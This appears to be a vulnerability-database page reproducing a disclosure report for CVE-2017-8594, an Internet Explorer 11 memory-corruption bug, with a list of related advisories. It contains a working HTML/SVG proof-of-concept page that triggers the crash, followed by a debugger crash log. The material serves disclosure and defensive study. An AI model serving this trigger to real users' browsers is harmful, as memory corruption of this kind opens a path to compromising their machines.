Microsoft Internet Explorer 11 CMarkup::DestroySplayTree Memory Corruption

🗓️ 18 Jul 2017 00:00:00Reported by Ivan FratricType

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Microsoft IE: Memory curruption in CMarkup::DestroySplayTree CVE-2017-8594. Memory corruption with svg <use> element in IE Version 11.0.9600.18617 (Update Version 11.0.40) on Windows 7 64-bit

Reporter	Title	Published	Views	Family All 22
zdt	Microsoft Internet Explorer 11.0.9600.18617 - CMarkup::DestroySplayTree Memory Corruption Exploit	19 Jul 201700:00	–	zdt
BDU FSTEC	The vulnerability of the Internet Explorer browser’s memory handler on the Windows operating system, allowing a hacker to execute arbitrary code	3 Aug 201700:00	–	bdu_fstec
Circl	CVE-2017-8594	18 Jul 201700:00	–	circl
CNVD	Microsoft Internet Explorer Remote Memory Corruption Vulnerability (CNVD-2017-14447)	12 Jul 201700:00	–	cnvd
Check Point Advisories	Microsoft Internet Explorer Memory Corruption (CVE-2017-8594)	11 Jul 201700:00	–	checkpoint_advisories
CVE	CVE-2017-8594	11 Jul 201721:00	–	cve
Cvelist	CVE-2017-8594	11 Jul 201721:00	–	cvelist
Exploit DB	Microsoft Internet Explorer 11.0.9600.18617 - 'CMarkup::DestroySplayTree' Memory Corruption	18 Jul 201700:00	–	exploitdb
Microsoft KB	Internet Explorer help	11 Jul 201707:00	–	mskb
Microsoft KB	July 11, 2017—KB4025336 (Monthly Rollup)	11 Jul 201707:00	–	mskb

`Microsoft IE: Memory curruption in CMarkup::DestroySplayTree   
  
CVE-2017-8594  
  
  
There is a memory corruption issue in IE that can be triggered with svg <use> element.  
  
The bug was confirmed on IE Version 11.0.9600.18617 (Update Version 11.0.40) running on Windows 7 64-bit. I was unable to reproduce it on Windows 10.  
  
PoC:  
  
==========================================  
  
<!-- saved from url=(0014)about:internet -->  
<script>  
function go() {  
setTimeout("window.location.reload()",100);  
pattern.replaceChild(use,pattern.childNodes[0]);  
}  
</script>  
<body onload=go()>  
<!--this is a comment-->  
<svg>  
<use id="use" xlink:href="#fecomp">  
<symbol>  
<feComposite id="fecomp" />  
</use>  
<pattern id="pattern">  
<foreignObject><body xmlns="<a href="http://www.w3.org/1999/xhtml" title="" class="" rel="nofollow">http://www.w3.org/1999/xhtml</a>"><output>2)lt</output>  
  
==========================================  
  
Following is the crash log when the PoC is ran on 64-bit IE in the single process mode (TabProcGrowth=0).  
  
(1a38.2a98): Access violation - code c0000005 (first chance)  
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
MSHTML!CMarkup::DestroySplayTree+0x10a:  
000007fe`e8de2723 48894110 mov qword ptr [rcx+10h],rax ds:00000000`700400d6=????????????????  
0:013> r  
rax=0000000012a69010 rbx=0000000012a68c78 rcx=00000000700400c6  
rdx=0000000000000001 rsi=0000000012a68f20 rdi=0000000012a58000  
rip=000007fee8de2723 rsp=0000000012d9bfb0 rbp=0000000012d9c029  
<a href="https://crrev.com/8" title="" class="" rel="nofollow">r8</a>=0000000000000000 <a href="https://crrev.com/9" title="" class="" rel="nofollow">r9</a>=0000000012a58000 <a href="https://crrev.com/10" title="" class="" rel="nofollow">r10</a>=0000000012a20000  
<a href="https://crrev.com/11" title="" class="" rel="nofollow">r11</a>=0000000000000025 <a href="https://crrev.com/12" title="" class="" rel="nofollow">r12</a>=0000000012a68f20 <a href="https://crrev.com/13" title="" class="" rel="nofollow">r13</a>=0000000012a68f20  
<a href="https://crrev.com/14" title="" class="" rel="nofollow">r14</a>=0000000012a20000 <a href="https://crrev.com/15" title="" class="" rel="nofollow">r15</a>=0000000012a68bb0  
iopl=0 nv up ei pl zr na po nc  
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246  
MSHTML!CMarkup::DestroySplayTree+0x10a:  
000007fe`e8de2723 48894110 mov qword ptr [rcx+10h],rax ds:00000000`700400d6=????????????????  
0:013> k  
# Child-SP RetAddr Call Site  
00 00000000`12d9bfb0 000007fe`e8de1ddc MSHTML!CMarkup::DestroySplayTree+0x10a  
01 00000000`12d9c090 000007fe`e8ec9289 MSHTML!CMarkup::UnloadContents+0x49b  
02 00000000`12d9c170 000007fe`e8ec9171 MSHTML!CMarkup::TearDownMarkupHelper+0xd5  
03 00000000`12d9c1a0 000007fe`e90788b2 MSHTML!CMarkup::TearDownMarkup+0x75  
04 00000000`12d9c1f0 000007fe`e998dc7a MSHTML!COmWindowProxy::SwitchMarkup+0x562  
05 00000000`12d9c360 000007fe`e969ce9f MSHTML!COmWindowProxy::ExecRefresh+0xa3a  
06 00000000`12d9c500 000007fe`e8d99d75 MSHTML!GlobalWndOnMethodCall+0x240  
07 00000000`12d9c5a0 00000000`76dd9bbd MSHTML!GlobalWndProc+0x150  
08 00000000`12d9c620 00000000`76dd98c2 USER32!UserCallWinProcCheckWow+0x1ad  
09 00000000`12d9c6e0 000007fe`f2f83395 USER32!DispatchMessageWorker+0x3b5  
0a 00000000`12d9c760 000007fe`f2f7df5b IEFRAME!CTabWindow::_TabWindowThreadProc+0x555  
0b 00000000`12d9f9e0 000007fe`fd09572f IEFRAME!LCIETab_ThreadProc+0x3a3  
0c 00000000`12d9fb10 000007fe`f0b7925f iertutil!Microsoft::WRL::ActivationFactory<Microsoft::WRL::Implements<Microsoft::WRL::FtmBase,Windows::Foundation::IUriRuntimeClassFactory,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil>,Windows::Foundation::IUriEscapeStatics,Microsoft::WRL::Details::Nil,0>::GetTrustLevel+0x5f  
0d 00000000`12d9fb40 00000000`76ed59cd IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x9f  
0e 00000000`12d9fb90 00000000`7700a561 kernel32!BaseThreadInitThunk+0xd  
0f 00000000`12d9fbc0 00000000`00000000 ntdll!RtlUserThreadStart+0x1d  
  
  
  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available, the bug report will become  
visible to the public.  
  
  
  
  
Found by: ifratric  
  
`

18 Jul 2017 00:00Current

0.4Low risk

Vulners AI Score0.4

EPSS0.50373